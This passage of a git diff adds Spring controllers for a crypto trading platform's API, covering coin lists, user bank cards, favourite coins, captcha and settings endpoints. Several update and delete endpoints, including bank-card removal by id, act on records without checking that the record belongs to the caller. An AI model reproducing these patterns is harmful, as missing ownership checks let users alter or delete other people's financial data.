+import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletResponse; +import java.util.List; + +/** + * 币种管理Controller + * + * @author ruoyi + * @date 2023-07-12 + */ +@RestController +@RequestMapping("/api/symbolmanage") +public class TSymbolManageController extends ApiBaseController +{ + @Autowired + private ITSymbolManageService tSymbolManageService; + + /** + * 查询币种管理列表 + */ + @PostMapping("/list") + public TableDataInfo list(TSymbolManage tSymbolManage) + { +// startPage(); + tSymbolManage.setEnable("1"); + List list = tSymbolManageService.selectTSymbolManageList(tSymbolManage); + return getDataTable(list); + } + + /** + * 获取币种管理详细信息 + */ + @PostMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tSymbolManageService.selectTSymbolManageById(id)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java new file mode 100644 index 0000000..0d3cb20 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java @@ -0,0 +1,87 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TUserBank; +import com.ruoyi.bussiness.service.ITUserBankService; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.web.controller.common.ApiBaseController; +import io.swagger.annotations.ApiOperation; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.util.Date; +import java.util.List; +import java.util.Objects; + +/** + * 银行卡Controller + * + * @author ruoyi + * @date 2023-08-21 + */ +@RestController +@RequestMapping("/api/userBank") +public class TUserBankController extends ApiBaseController +{ + @Autowired + private ITUserBankService tUserBankService; + + /** + * 保存银行卡信息 + * @param userBank + * @return + */ + @PostMapping("/save") + public AjaxResult save(@RequestBody TUserBank userBank) { + TAppUser user = getAppUser(); + TUserBank oldBack = tUserBankService.getOne(new LambdaQueryWrapper().eq(TUserBank::getUserId, user.getUserId()).eq(TUserBank::getCardNumber, userBank.getCardNumber())); + if (Objects.nonNull(oldBack)){ + return AjaxResult.error(MessageUtils.message("back.code.exist.error"),userBank.getCardNumber()); + } + userBank.setUserId(user.getUserId()); + userBank.setCreateTime(new Date()); + userBank.setUpdateTime(new Date()); + userBank.setAdminParentIds(user.getAdminParentIds()); + return AjaxResult.success(tUserBankService.save(userBank)); + } + + /** + * 银行卡列表 + * @return + */ + @PostMapping("/getbank") + public AjaxResult activityList() { + TAppUser user = getAppUser(); + List list = tUserBankService.list(new LambdaQueryWrapper().eq(TUserBank::getUserId, user.getUserId())); + return AjaxResult.success(list); + } + + @PostMapping("/update") + public AjaxResult update(@RequestBody TUserBank tUserBank) + { + TUserBank oldBack = tUserBankService.getOne(new LambdaQueryWrapper().eq(TUserBank::getCardNumber, tUserBank.getCardNumber())); + if (Objects.nonNull(oldBack) && oldBack.getId()!=tUserBank.getId()){ + return AjaxResult.error(tUserBank.getCardNumber()+"该银行卡已经存在"); + } + tUserBank.setUpdateTime(new Date()); + return toAjax(tUserBankService.updateTUserBank(tUserBank)); + } + + @PostMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tUserBankService.deleteTUserBankByIds(ids)); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserCoinController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserCoinController.java new file mode 100644 index 0000000..c4935c4 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TUserCoinController.java @@ -0,0 +1,78 @@ +package com.ruoyi.web.controller.bussiness; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TUserCoin; +import com.ruoyi.bussiness.service.ITUserCoinService; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.apache.commons.lang3.ObjectUtils; +import org.springframework.web.bind.annotation.*; + +import javax.annotation.Resource; +import java.util.*; +import java.util.stream.Collectors; + +@RestController +@RequestMapping("/api/userCoin") +public class TUserCoinController extends ApiBaseController { + + @Resource + private ITUserCoinService userCoinService; + + + /** + * 单个收藏 + * @param userCoin + * @return + */ + @PostMapping("/save") + public AjaxResult save(@RequestBody TUserCoin userCoin) { + TAppUser user = getAppUser(); + userCoin.setUserId(user.getUserId()); + userCoin.setCoin(userCoin.getCoin().toLowerCase()); + TUserCoin one = userCoinService.getOne(new LambdaQueryWrapper().eq(TUserCoin::getCoin, userCoin.getCoin()).eq(TUserCoin::getUserId,user.getUserId())); + if(null != one){ + return AjaxResult.success(); + } + return AjaxResult.success(userCoinService.save(userCoin)); + } + @PostMapping("/removeByCoin") + public AjaxResult remove(@RequestBody TUserCoin userCoin) + { + TAppUser user = getAppUser(); + userCoin.setUserId(user.getUserId()); + return toAjax(userCoinService.remove(new LambdaQueryWrapper().eq(TUserCoin::getCoin,userCoin.getCoin().toLowerCase()).eq(TUserCoin::getUserId,userCoin.getUserId()))); + } + /** + * 收藏列表 + * @return + */ + @PostMapping("/getUserCoin") + public AjaxResult getUserCoin() { + TAppUser user = getAppUser(); + List list = userCoinService.list(new LambdaQueryWrapper().eq(TUserCoin::getUserId, user.getUserId())); + return AjaxResult.success(list); + } + + + @PostMapping("/remove/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + List collect = Arrays.stream(ids).collect(Collectors.toList()); + return toAjax(userCoinService.removeByIds(collect)); + } + + + @PostMapping("/addBath") + public AjaxResult add(@RequestBody List userCoins) + { + TAppUser user = getAppUser(); + for (TUserCoin userCoin : userCoins) { + userCoin.setUserId(user.getUserId()); + } + userCoinService.removeByUserId(user.getUserId()); + return toAjax(userCoinService.saveBatch(userCoins)); + } + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java new file mode 100644 index 0000000..548454b --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java @@ -0,0 +1,28 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.entity.TimeZone; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.web.controller.common.ApiBaseController; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.List; + +/** + * @author:michael + * @createDate: 2022/9/19 16:29 + */ +@RestController +@RequestMapping("/api/timezone") +public class TimeZoneController extends ApiBaseController { + + @PostMapping("/getTimeZone") + public AjaxResult getTimeZone() { + TimeZone timeZone = DateUtils.getTimeZone(); + return AjaxResult.success(timeZone); + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/ApiBaseController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/ApiBaseController.java new file mode 100644 index 0000000..a1957d2 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/ApiBaseController.java @@ -0,0 +1,212 @@ +package com.ruoyi.web.controller.common; + +import cn.dev33.satoken.stp.StpUtil; +import com.github.pagehelper.PageHelper; +import com.github.pagehelper.PageInfo; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.service.ITAppUserService; +import com.ruoyi.common.constant.HttpStatus; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.PageDomain; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.core.page.TableSupport; +import com.ruoyi.common.utils.*; +import com.ruoyi.common.utils.sql.SqlUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.web.bind.WebDataBinder; +import org.springframework.web.bind.annotation.InitBinder; + +import javax.servlet.http.HttpServletRequest; +import java.beans.PropertyEditorSupport; +import java.util.Date; +import java.util.List; + +public class ApiBaseController { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); + + + /** + * 将前台传递过来的日期格式的字符串,自动转化为Date类型 + */ + @InitBinder + public void initBinder(WebDataBinder binder) + { + // Date 类型转换 + binder.registerCustomEditor(Date.class, new PropertyEditorSupport() + { + @Override + public void setAsText(String text) + { + setValue(DateUtils.parseDate(text)); + } + }); + } + + /** + * 设置请求分页数据 + */ + protected void startPage() + { + PageUtils.startPage(); + } + + /** + * 设置请求排序数据 + */ + protected void startOrderBy() + { + PageDomain pageDomain = TableSupport.buildPageRequest(); + if (StringUtils.isNotEmpty(pageDomain.getOrderBy())) + { + String orderBy = SqlUtil.escapeOrderBySql(pageDomain.getOrderBy()); + PageHelper.orderBy(orderBy); + } + } + + /** + * 清理分页的线程变量 + */ + protected void clearPage() + { + PageUtils.clearPage(); + } + + /** + * 响应请求分页数据 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + protected TableDataInfo getDataTable(List list) + { + TableDataInfo rspData = new TableDataInfo(); + rspData.setCode(HttpStatus.SUCCESS); + rspData.setMsg("查询成功"); + rspData.setRows(list); + rspData.setTotal(new PageInfo(list).getTotal()); + return rspData; + } + /** + * 响应请求分页数据 + * list为封装后的ArrayList列表对象,list2为startPage()后得到的Page列表对象,两者数据条数需保持一致 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + protected TableDataInfo getDataTableFrom2Lists(List list,List list2) + { + TableDataInfo rspData = new TableDataInfo(); + rspData.setCode(HttpStatus.SUCCESS); + rspData.setMsg("查询成功"); + rspData.setRows(list); + rspData.setTotal(new PageInfo(list2).getTotal()); + return rspData; + } + /** + * 响应请求分页数据 + */ + @SuppressWarnings({ "rawtypes", "unchecked" }) + protected TableDataInfo getDataTable(List listVO, List list) + { + TableDataInfo rspData = new TableDataInfo(); + rspData.setCode(HttpStatus.SUCCESS); + rspData.setMsg("查询成功"); + rspData.setRows(listVO); + rspData.setTotal(new PageInfo(list).getTotal()); + return rspData; + } + + /** + * 获取用户ID + * @return + */ + public Long getStpUserId(){ + return StpUtil.getLoginIdAsLong(); + } + /** + * 获取用户ID + * @return + */ + public TAppUser getAppUser(){ + long loginIdAsLong = StpUtil.getLoginIdAsLong(); + ITAppUserService appUserService = SpringContextUtil.getBean(ITAppUserService.class); + return appUserService.selectTAppUserByUserId(loginIdAsLong); + } + /** + * 返回成功 + */ + public AjaxResult success() + { + return AjaxResult.success(); + } + + /** + * 返回失败消息 + */ + public AjaxResult error() + { + return AjaxResult.error(); + } + + /** + * 返回成功消息 + */ + public AjaxResult success(String message) + { + return AjaxResult.success(message); + } + + /** + * 返回成功消息 + */ + public AjaxResult success(Object data) + { + return AjaxResult.success(data); + } + + /** + * 返回失败消息 + */ + public AjaxResult error(String message) + { + return AjaxResult.error(message); + } + + /** + * 返回警告消息 + */ + public AjaxResult warn(String message) + { + return AjaxResult.warn(message); + } + + /** + * 响应返回结果 + * + * @param rows 影响行数 + * @return 操作结果 + */ + protected AjaxResult toAjax(int rows) + { + return rows > 0 ? AjaxResult.success() : AjaxResult.error(); + } + + /** + * 响应返回结果 + * + * @param result 结果 + * @return 操作结果 + */ + protected AjaxResult toAjax(boolean result) + { + return result ? success() : error(); + } + + /** + * 页面跳转 + */ + public String redirect(String url) + { + return StringUtils.format("redirect:{}", url); + } + + + +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java new file mode 100644 index 0000000..d2d6e8c --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java @@ -0,0 +1,94 @@ +package com.ruoyi.web.controller.common; + +import java.awt.image.BufferedImage; +import java.io.IOException; +import java.util.concurrent.TimeUnit; +import javax.annotation.Resource; +import javax.imageio.ImageIO; +import javax.servlet.http.HttpServletResponse; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.FastByteArrayOutputStream; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; +import com.google.code.kaptcha.Producer; +import com.ruoyi.common.config.RuoYiConfig; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.utils.sign.Base64; +import com.ruoyi.common.utils.uuid.IdUtils; +import com.ruoyi.system.service.ISysConfigService; + +/** + * 验证码操作处理 + * + * @author ruoyi + */ +@RestController +public class CaptchaController +{ + @Resource(name = "captchaProducer") + private Producer captchaProducer; + + @Resource(name = "captchaProducerMath") + private Producer captchaProducerMath; + + @Autowired + private RedisCache redisCache; + + @Autowired + private ISysConfigService configService; + /** + * 生成验证码 + */ + @GetMapping("/captchaImage") + public AjaxResult getCode(HttpServletResponse response) throws IOException + { + AjaxResult ajax = AjaxResult.success(); + boolean captchaEnabled = configService.selectCaptchaEnabled(); + ajax.put("captchaEnabled", captchaEnabled); + if (!captchaEnabled) + { + return ajax; + } + + // 保存验证码信息 + String uuid = IdUtils.simpleUUID(); + String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + uuid; + + String capStr = null, code = null; + BufferedImage image = null; + + // 生成验证码 + String captchaType = RuoYiConfig.getCaptchaType(); + if ("math".equals(captchaType)) + { + String capText = captchaProducerMath.createText(); + capStr = capText.substring(0, capText.lastIndexOf("@")); + code = capText.substring(capText.lastIndexOf("@") + 1); + image = captchaProducerMath.createImage(capStr); + } + else if ("char".equals(captchaType)) + { + capStr = code = captchaProducer.createText(); + image = captchaProducer.createImage(capStr); + } + + redisCache.setCacheObject(verifyKey, code, Constants.CAPTCHA_EXPIRATION, TimeUnit.MINUTES); + // 转换流信息写出 + FastByteArrayOutputStream os = new FastByteArrayOutputStream(); + try + { + ImageIO.write(image, "jpg", os); + } + catch (IOException e) + { + return AjaxResult.error(e.getMessage()); + } + + ajax.put("uuid", uuid); + ajax.put("img", Base64.encode(os.toByteArray())); + return ajax; + } +} diff --git a/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CommonController.java b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CommonController.java new file mode 100644 index 0000000..a49c824 --- /dev/null +++ b/ruoyi-api/src/main/java/com/ruoyi/web/controller/common/CommonController.java @@ -0,0 +1,457 @@ +package com.ruoyi.web.controller.common; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.time.LocalDateTime; +import java.time.ZoneId; +import java.time.ZoneOffset; +import java.time.ZonedDateTime; +import java.util.*; +import java.util.stream.Collectors; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletRequest; + +import cn.hutool.json.JSONArray; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.binance.connector.client.SpotClient; +import com.binance.connector.client.impl.SpotClientImpl; +import com.ruoyi.bussiness.domain.TBotKlineModel; +import com.ruoyi.bussiness.domain.TContractCoin; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.domain.TSecondCoinConfig; +import com.ruoyi.bussiness.domain.setting.*; +import com.ruoyi.bussiness.domain.vo.SymbolCoinConfigVO; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.TranslatorUtil; +import com.ruoyi.framework.web.domain.server.Sys; +import com.ruoyi.socket.config.KLoader; +import com.ruoyi.socket.service.MarketThread; +import com.ruoyi.system.service.ISysDictTypeService; +import io.swagger.annotations.ApiOperation; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.config.ServerConfig; + +/** + * 通用请求处理 + * + * @author ruoyi + */ +@RestController +@RequestMapping("/api/common") +public class CommonController +{ + private static final Logger log = LoggerFactory.getLogger(CommonController.class); + + @Resource + private RedisCache redisCache; + @Resource + private FileService fileService; + @Resource + private SettingService settingService; + @Resource + private ITSecondCoinConfigService tSecondCoinConfigService; + @Resource + private ITCurrencySymbolService tCurrencySymbolService; + @Resource + private ITContractCoinService tContractCoinService; + @Resource + private ISysDictTypeService dictTypeService; + @Resource + private List marketThread; + @Resource + private ITBotKlineModelService tBotKlineModelService; + + + private static final String FILE_DELIMETER = ","; + + /** + * oss通用上传请求 + */ + @PostMapping("/upload/OSS") + public AjaxResult uploadFileOSS(MultipartFile file, String remark) { + try { + String filename = file.getResource().getFilename(); + //这里文件名用了uuid 防止重复,可以根据自己的需要来写 + String name = UUID.randomUUID() + filename.substring(filename.lastIndexOf("."), filename.length()); + name = name.replace("-", ""); + String url = fileService.uploadFileOSS(file,name); + Map ajax =new HashMap(); + ajax.put("fileName", name); + ajax.put("url", url); + return AjaxResult.success(ajax); + } catch (Exception e) { + e.getMessage(); + return AjaxResult.error(e.getMessage()); + } + } + + @ApiOperation(value = "获取币种列表") + @PostMapping("/getCoinList") + public AjaxResult getCoinList() { + //查询币种跟随性价格 + // LocalDateTime now = LocalDateTime.now(); + // LocalDateTime beforeTime = now.minusDays(1); + // List list = tBotKlineModelService.list(new LambdaQueryWrapper().between(TBotKlineModel::getBeginTime, beforeTime, now).eq(TBotKlineModel::getModel, 0)); + HashMap stringBigDecimalHashMap = tBotKlineModelService.getyesterdayPrice(); + List coinList = tSecondCoinConfigService.getSymbolList(); + for (SymbolCoinConfigVO s:coinList) { + BigDecimal bigDecimal = stringBigDecimalHashMap.get(s.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(s.getCoin()); + s.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + if(s.getMarket().equals("metal")){ + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + s.getCoin()); + s.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + }else{ + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + s.getCoin().toLowerCase()); + s.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + } + } + List currencyList = tCurrencySymbolService.getSymbolList(); + for (TCurrencySymbol t:currencyList) { + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + t.getCoin().toLowerCase()); + t.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + BigDecimal bigDecimal = stringBigDecimalHashMap.get(t.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(t.getCoin().toLowerCase()); + t.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + } + List contractList = tContractCoinService.getCoinList(); + for (TContractCoin coin:contractList) { + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.getCoin().toLowerCase()); + BigDecimal bigDecimal = stringBigDecimalHashMap.get(coin.getSymbol().toLowerCase()); + if(bigDecimal==null){ + bigDecimal=BigDecimal.ZERO; + } + BigDecimal openPrice = KLoader.OPEN_PRICE.get(coin.getCoin().toLowerCase()); + coin.setOpen(Objects.isNull(openPrice)?BigDecimal.ZERO:openPrice.add(bigDecimal)); + coin.setAmount(Objects.isNull(currentlyPrice)?BigDecimal.ZERO:currentlyPrice); + } + Map map = new HashMap<>(); + map.put("coinList",coinList); + map.put("currencyList",currencyList); + map.put("contractList",contractList); + return AjaxResult.success(map); + } + + @ApiOperation(value = "获取客服列表") + @PostMapping("/getCustomerService") + public AjaxResult getCustomerService() { + Setting setting = settingService.get(SettingEnum.SUPPORT_STAFF_SETTING.name()); + List supportStaffSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), SupportStaffSetting.class); + return AjaxResult.success(supportStaffSettings); + } + @ApiOperation(value = "获取登录注册开关") + @PostMapping("/getLoginRegisterList") + public AjaxResult getLoginRegisterList() { + Setting setting = settingService.get(SettingEnum.LOGIN_REGIS_SETTING.name()); + LoginRegisSetting loginOrRegisList = JSONUtil.toBean(setting.getSettingValue(), LoginRegisSetting.class); + return AjaxResult.success(loginOrRegisList); + } + + + @ApiOperation(value = "获取App侧边栏配置") + @PostMapping("/getAppSidebarSetting") + public AjaxResult getAppSidebarSetting() { + Setting setting = settingService.get(SettingEnum.APP_SIDEBAR_SETTING.name()); + String settingValue = setting.getSettingValue(); + JSONArray objects = JSONUtil.parseArray(settingValue); + List list = JSONUtil.toList(objects, AppSidebarSetting.class) + .stream().sorted(Comparator.comparing(AppSidebarSetting::getSort)).collect(Collectors.toList()); + return AjaxResult.success(list); + } + + + + @ApiOperation(value = "充值通道列表") + @PostMapping("/getAppCurrencyList") + public AjaxResult getAppCurrencyList() { + Setting setting = settingService.get(SettingEnum.ASSET_COIN.name()); + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class); + return AjaxResult.success(list); + } + + + @ApiOperation(value = "提现通道列表") + @PostMapping("/getWithDrawCoinList") + public AjaxResult getWithdrawalSetting() { + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + List list = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class); + return AjaxResult.success(list); + } + + @ApiOperation(value = "白皮书") + @PostMapping("/getWhitePaperSetting") + public AjaxResult getWhitePaperSetting() { + Setting setting = settingService.get(SettingEnum.WHITE_PAPER_SETTING.name()); + WhitePaperSetting whitePaper = JSONUtil.toBean(setting.getSettingValue(), WhitePaperSetting.class); + return AjaxResult.success(whitePaper); + } + + @ApiOperation(value = "defi挖矿配置") + @PostMapping("/getDefiIncomeSetting") + public AjaxResult getDefiIncomeSetting() { + Setting setting = settingService.get(SettingEnum.DEFI_INCOME_SETTING.name()); + DefiIncomeSetting defiIncome = JSONUtil.toBean(setting.getSettingValue(), DefiIncomeSetting.class); + return AjaxResult.success(defiIncome); + } + + @ApiOperation(value = "玩法配置") + @PostMapping("/getPlayingSetting") + public AjaxResult getPlayingSetting() { + Setting setting = settingService.get(SettingEnum.PLAYING_SETTING.name()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), PlayingSetting.class)); + } + @ApiOperation(value = "tab头配置") + @PostMapping("/geTabSetting") + public AjaxResult geTabSetting() { + Setting setting = settingService.get(SettingEnum.TAB_SETTING.name()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TabSetting.class)); + } + @ApiOperation(value = "底部菜单") + @PostMapping("/getBottomMenuSetting") + public AjaxResult getBottomMenuSetting() { + Setting setting = settingService.get(SettingEnum.BOTTOM_MENU_SETTING.name()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), BottomMenuSetting.class)); + } + + @ApiOperation(value = "金刚区") + @PostMapping("/getMiddleMenuSetting") + public AjaxResult getMiddleMenuSetting() { + Setting setting = settingService.get(SettingEnum.MIDDLE_MENU_SETTING.name()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), MiddleMenuSetting.class)); + } + + @ApiOperation(value = "Logo配置") + @PostMapping("/getLogoSetting") + public AjaxResult getLogoSetting() { + Setting setting = settingService.get(SettingEnum.LOGO_SETTING.name()); + return setting == null ? + AjaxResult.success(new LogoSetting()) : + AjaxResult.success(JSONUtil.toBean(setting.getSettingValue(), LogoSetting.class)); + } + + @ApiOperation(value = "首页币种配置") + @PostMapping("/getHomeCoinSetting") + public AjaxResult getHomeCoinSetting() { + Setting setting = settingService.get(SettingEnum.HOME_COIN_SETTING.name()); + List collect = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), HomeCoinSetting.class).stream().sorted(Comparator.comparing(HomeCoinSetting::getSort)).collect(Collectors.toList()); + return setting == null ? + AjaxResult.success(new ArrayList()) : + AjaxResult.success(collect); + } + + + + + + @ApiOperation(value = "字典列表") + @PostMapping(value = "/type/{dictType}") + public AjaxResult dictType(@PathVariable String dictType, HttpServletRequest request) + { + String lang = request.getHeader("Lang"); + List data = dictTypeService.selectDictDataByType(dictType); + if (!CollectionUtils.isEmpty(data)){ + if ("t_repay_type".equals(dictType)){ + data.stream().forEach(d ->{ + if (!lang.equals("zh")){ + try { + d.setDictLabel(TranslatorUtil.translate("zh-CN",lang,d.getDictLabel())); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } ); + } + }else{ + data = new ArrayList(); + } + return AjaxResult.success(data); + } + + @ApiOperation(value = "谷歌翻译") + @PostMapping(value = "/googleTranslator") + public AjaxResult googleTranslator( String langFrom,String langTo,String text) + { + try { + String translate = TranslatorUtil.translate(langFrom, langTo, text); + return AjaxResult.success(translate); + } catch (Exception e) { + log.error("翻译失败",e); + } + return AjaxResult.success(""); + } + + + + @ApiOperation(value = "获取所有配置") + @PostMapping("/getAllSetting") + public AjaxResult getAllSetting() { + //提现 + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + HashMap map = new HashMap<>(); + map.put("WITHDRAWAL_CHANNEL_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class)); + //首页 + setting = settingService.get(SettingEnum.HOME_COIN_SETTING.name()); + map.put("HOME_COIN_SETTING", setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), HomeCoinSetting.class) + .stream().sorted(Comparator.comparing(HomeCoinSetting::getSort)).collect(Collectors.toList())); + //获取客服列表 + setting = settingService.get(SettingEnum.SUPPORT_STAFF_SETTING.name()); + map.put("SUPPORT_STAFF_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), SupportStaffSetting.class)); + //获取登录注册开关 + setting = settingService.get(SettingEnum.LOGIN_REGIS_SETTING.name()); + map.put("LOGIN_REGIS_SETTING",setting == null ? new LoginRegisSetting() : + JSONUtil.toBean(setting.getSettingValue(), LoginRegisSetting.class)); + //获取App侧边栏配置 + setting = settingService.get(SettingEnum.APP_SIDEBAR_SETTING.name()); + map.put("APP_SIDEBAR_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AppSidebarSetting.class) + .stream().sorted(Comparator.comparing(AppSidebarSetting::getSort)).collect(Collectors.toList())); + //充值通道列表 + setting = settingService.get(SettingEnum.ASSET_COIN.name()); + map.put("ASSET_COIN",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), AssetCoinSetting.class)); + //白皮书 +/* setting = settingService.get(SettingEnum.WHITE_PAPER_SETTING.name()); + map.put("WHITE_PAPER_SETTING",setting == null ? new WhitePaperSetting() : + JSONUtil.toBean(setting.getSettingValue(), WhitePaperSetting.class));*/ + //defi挖矿配置 + setting = settingService.get(SettingEnum.DEFI_INCOME_SETTING.name()); + map.put("DEFI_INCOME_SETTING",setting == null ? new DefiIncomeSetting() : + JSONUtil.toBean(setting.getSettingValue(), DefiIncomeSetting.class)); + //玩法配置 + setting = settingService.get(SettingEnum.PLAYING_SETTING.name()); + map.put("PLAYING_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), PlayingSetting.class) + .stream().sorted(Comparator.comparing(PlayingSetting::getSort)).collect(Collectors.toList())); + + //投部TAB_SETTING + setting = settingService.get(SettingEnum.TAB_SETTING.name()); + map.put("TAB_SETTING",setting == null ? new ArrayList() : + JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TabSetting.class) + 